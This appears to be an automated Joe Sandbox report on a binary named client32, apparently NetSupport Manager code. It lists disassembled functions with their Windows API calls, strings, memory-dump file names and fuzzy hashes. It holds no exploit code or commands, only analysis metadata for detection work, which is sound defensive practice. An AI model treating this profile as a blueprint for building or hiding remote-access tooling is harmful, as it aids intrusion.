Opcode Fuzzy Hash: f2d1140dfb5f7439d07302f2d60303eea8d05a699deef447e1cf8c3fd2467fd0
Instruction Fuzzy Hash: B7F0A9B5A4420CABDB14CFD4DC92FEE77B9AB48700F104119FA18AB2C4D7B0A9508BA5

Function 1115F340 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

SetPropA.USER32(?,?,?), ref: 1115F395

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

p->m_hWnd, xrefs: 1115F372
..\ctl32\wndclass.cpp, xrefs: 1115F350, 1115F36D

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessPropwsprintf
String ID: ..\ctl32\wndclass.cpp$p->m_hWnd
API String ID: 1134434899-3115850912
Opcode ID: 538790263cfb1f25c099da663b992418a3413831744957c6e7e8603356e21433
Instruction ID: 87c86bef28f98f72f88127ca4e69caffea3bfce03f9a6da2004c13aaf4101256
Opcode Fuzzy Hash: 538790263cfb1f25c099da663b992418a3413831744957c6e7e8603356e21433
Instruction Fuzzy Hash: FCF0E575BC0336B7D7509A66DC82FE6F358D722BA4F448016FC26A2141F274E980C2D2

Function 110151E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,0000102D,00000000,?), ref: 11015229

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 110151F4
m_hWnd, xrefs: 110151F9

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: bd39cd011623ecfe06393bf57d51be560d8a4fd4800ff0bf8f32089dc2d64717
Instruction ID: 9699e87d833f238af44183ea9879e136ee952ee53a84507d201ef9d6a93955d8
Opcode Fuzzy Hash: bd39cd011623ecfe06393bf57d51be560d8a4fd4800ff0bf8f32089dc2d64717
Instruction Fuzzy Hash: 19F0FEB5D0025DABCB14DF95DC85EDAB7F8EB4D310F00852AFD29A7240E770A950CBA5

Function 110173D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,QueueUserWorkItem), ref: 110173E4
SetLastError.KERNEL32(00000078), ref: 11017409

Strings

QueueUserWorkItem, xrefs: 110173DE

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: QueueUserWorkItem
API String ID: 199729137-2469634949
Opcode ID: 0f94a6c9280d95f6267a0057a90355b84bcc2892604fd1d5b79f284ec07f3bb7
Instruction ID: 14daf5f2905bb7c6da6366d36066c9679ffc6904d36036c61edd8dc8337596d2
Opcode Fuzzy Hash: 0f94a6c9280d95f6267a0057a90355b84bcc2892604fd1d5b79f284ec07f3bb7
Instruction Fuzzy Hash: 06F01C72A50628AFD714DFA4D948E9BB7E8FB54721F00852AFD5597A04C774F840CBA0

Function 11029790 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

CreateThread.KERNEL32(00000000,00000000,11027530,00000000,00000000,00000000), ref: 110297DE

Strings

*TapiFixPeriod, xrefs: 110297A7
Bridge, xrefs: 110297AC

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateThread__wcstoi64
String ID: *TapiFixPeriod$Bridge
API String ID: 1152747075-2058455932
Opcode ID: 5b6fa3ef66d65aabb834f1bac3e66e018aa2f987c08b040d8e6299ac416ecad2
Instruction ID: 741f43c1c8d280c886d6f15773e052eeed2c6ce1e0fea61ed055b6fa2ceaecb0
Opcode Fuzzy Hash: 5b6fa3ef66d65aabb834f1bac3e66e018aa2f987c08b040d8e6299ac416ecad2
Instruction Fuzzy Hash: 24F0ED39B42338ABE711CEC1DC42F71B698A300708F0004B8F628A91C9E6B0A90083A6

Function 1101D320 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,FlashWindowEx), ref: 1101D334
SetLastError.KERNEL32(00000078), ref: 1101D351

Strings

FlashWindowEx, xrefs: 1101D32E

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: FlashWindowEx
API String ID: 199729137-2859592226
Opcode ID: bbe273fc43b33a73958d1f5ff023c045b956bd3b29a261bef0c34649876a7d0d
Instruction ID: 7fa6031e8bb94c9d2945b427b42de2899da1a72ad2875e3a9dcb47a7bac4ba5f
Opcode Fuzzy Hash: bbe273fc43b33a73958d1f5ff023c045b956bd3b29a261bef0c34649876a7d0d
Instruction Fuzzy Hash: 83E01272A412389FD324EBE9A848B4AF7E89B54765F01442AEA5597904C675E8408B90

Function 11001090 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32(?,?,?,?,?), ref: 110010C7

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110010A1
m_hWnd, xrefs: 110010A6

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitItemLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2046328329-2830328467
Opcode ID: c226bf07a577de758f5b5d732fabc6726861ac1fed5afbb268a848974a3c6e27
Instruction ID: 55addf44b20248d1cdc7b1377ce96882c1c4f69405d532d8ba5fa0b62c56eca9
Opcode Fuzzy Hash: c226bf07a577de758f5b5d732fabc6726861ac1fed5afbb268a848974a3c6e27
Instruction Fuzzy Hash: 8DE01AB661021DBFD714DE85EC81EEBB3ECEB49354F008529FA2A97240D6B0E850C7A5

Function 11001050 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,?,?), ref: 11001083

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001061
m_hWnd, xrefs: 11001066

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 819365019-2830328467
Opcode ID: 3c93d44872c95809d5d96296b6c43cba7727a5ea0dc913bc3fcb2418da055862
Instruction ID: 50f06fe94c134d50a88b9402c61dae4da10641179b5ac6344e644b67b4693846
Opcode Fuzzy Hash: 3c93d44872c95809d5d96296b6c43cba7727a5ea0dc913bc3fcb2418da055862
Instruction Fuzzy Hash: 6AE04FB5A00219BBD710DE95DC45EDBB3DCEB48354F00842AF92597240D6B0F84087A0

Function 110010E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(?,?,?,?), ref: 11001113

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110010F1
m_hWnd, xrefs: 110010F6

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastPostProcesswsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 906220102-2830328467
Opcode ID: 81e23b17fbda055fd9539ba62cc9f5d3a9ce7d810db27e0af83b2e8161869047
Instruction ID: 934a8ee4ae924c1029923c78eea6d07b507986f249d0d3e5c029bc3c62824ea9
Opcode Fuzzy Hash: 81e23b17fbda055fd9539ba62cc9f5d3a9ce7d810db27e0af83b2e8161869047
Instruction Fuzzy Hash: 98E04FB5A10219BFD704CA85DC46EDAB39CEB48754F00802AF92597200D6B0E84087A0

Function 110151A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00001014,?,?), ref: 110151D4

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 110151B1
m_hWnd, xrefs: 110151B6

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: 9426acf8e79a86d963c2fc4e4fe9e0b3a848eac582adc7d94dbc3e0bf9044144
Instruction ID: 66f1678c741d69056f24fb38e5f1926d93c7d4e0e7c38f0779b183b432510f86
Opcode Fuzzy Hash: 9426acf8e79a86d963c2fc4e4fe9e0b3a848eac582adc7d94dbc3e0bf9044144
Instruction Fuzzy Hash: 26E08675A403197BD310DA81DC46ED6F39CDB45714F008025F9595A240D6B1B94087A0

Function 110171F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000101C,?,00000000), ref: 11017222

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 11017201
m_hWnd, xrefs: 11017206

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: 60a1b6a3ee2cbd739f663da181e31c22685e6289d91970e62bf161fdfa926ba2
Instruction ID: ca461658ff4ad9fd457e958dedcd80386c4d58b841a73ce1d2056031be29817f
Opcode Fuzzy Hash: 60a1b6a3ee2cbd739f663da181e31c22685e6289d91970e62bf161fdfa926ba2
Instruction Fuzzy Hash: 54E0C275A80329BBE2209681DC42FD6F38C9B05714F004435F6196A182D5B0F4408694

Function 11001120 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 1100114B

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001131
m_hWnd, xrefs: 11001136

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessShowWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1604732272-2830328467
Opcode ID: 29a8f3e74b10ecb473689528bebe8d9fb683c07999dd0dfdb1f1582f8126aa29
Instruction ID: 819250d5e51c5ae6cd1eebd62df6884d4c995cad7bb4673794d6e20848bff6e8
Opcode Fuzzy Hash: 29a8f3e74b10ecb473689528bebe8d9fb683c07999dd0dfdb1f1582f8126aa29
Instruction Fuzzy Hash: A0D02BB191032D7BC3048A81DC42ED6F3CCEB04365F004036F62656100D670E440C3D4

Function 11001000 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,?), ref: 1100102B

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001011
m_hWnd, xrefs: 11001016

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
